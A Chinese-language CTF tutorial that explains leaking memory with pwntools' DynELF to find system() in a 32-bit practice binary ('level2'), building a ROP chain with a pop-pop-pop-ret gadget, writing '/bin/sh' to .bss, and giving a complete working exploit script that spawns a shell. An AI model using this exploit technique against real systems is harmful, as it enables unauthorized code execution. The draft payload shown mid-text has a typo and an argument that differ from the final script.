很多情况下,我们无法获得目标程序的libc,因此无法通过ret2libc的方式得到system函数的地址,这种情况下,我们可以通过内存泄漏的方式,在内存中搜索system函数地址,这种方式同样可以绕过ASLR保护,pwntools提供了DynELF模块 , 学习过程中推荐手动实现一遍leak的利用 ,然后再用DynELF模块 , 两种有些许不同
3 官方文档中解释:Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.
首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。
32位环境下 leak()函数模版:
def leak(address):
payload1 = 'a'*(溢出偏移量) + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
参考蒸米的一步一步学rop_x86 中level2程序
溢出偏移量为140,因此我们可以构造leak函数:
def leak(address):
payload1='a'*140+p32(write_plt)+p32(vuln)+p32(1)+p32(address)+p32(4)
p.send(payload1)
data=p.recv(4)
print "%#x => %s"%(address,(data or ' ').encode('hex'))
return data
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。,bss段可读可写,可以在ida主界面,按下shift+F7,查看各段地址。
.bss 0804A018 0804A020 R W . . L dword 000E public BSS 32 FFFFFFFF FFFFFFFF 000D FFFFFFFF FFFFFFFF
因此bss_addr=0x0804a018。
因为我们,调用完read函数,就需要调用system函数,但read函数有三个参数,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。用ROPgadget可以找到。(32位系统特性 , 调用函数 栈传参)
pwnuser@ubuntu:~/pwn_test$ ROPgadget --binary level2 --only 'pop|ret'
Gadgets information
============================================================
0x080483d3 : pop ebp ; ret
0x080483d2 : pop ebx ; pop ebp ; ret
0x080484bc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482fc : pop ebx ; ret
0x080484be : pop edi ; pop ebp ; ret
0x080484bd : pop esi ; pop edi ; pop ebp ; ret
0x080482db : ret
Unique gadgets found: 7
很容易就找到一条符合的gadget,pppr=0x080484bd 因此,第二个payload可以构造为
payload2=‘a’*140+p32(read)+p32(pppr)+p32(1)+p32(bbs)+p32(4)+p32(system)+p32(bss)
这样read函数执行标准输入,我们再发送一个'/bin/sh'就可以将可以将其写入bss段首地址。
EXP :
from pwn import *
elf = ELF('./level2')
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
pppr = 0x080484bd
vuln_addr=0x08048404
bss_addr = 0x0804a018
def leak(address):
payload1 = 'a'*140 + p32(write_plt) + p32(vuln_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./level2')
d = DynELF(leak,elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
payload2 = 'a'*140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)+p32(system_addr) + p32(vuln_addr) + p32(bss_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.send('/bin/sh\0')
p.interactive()
网友评论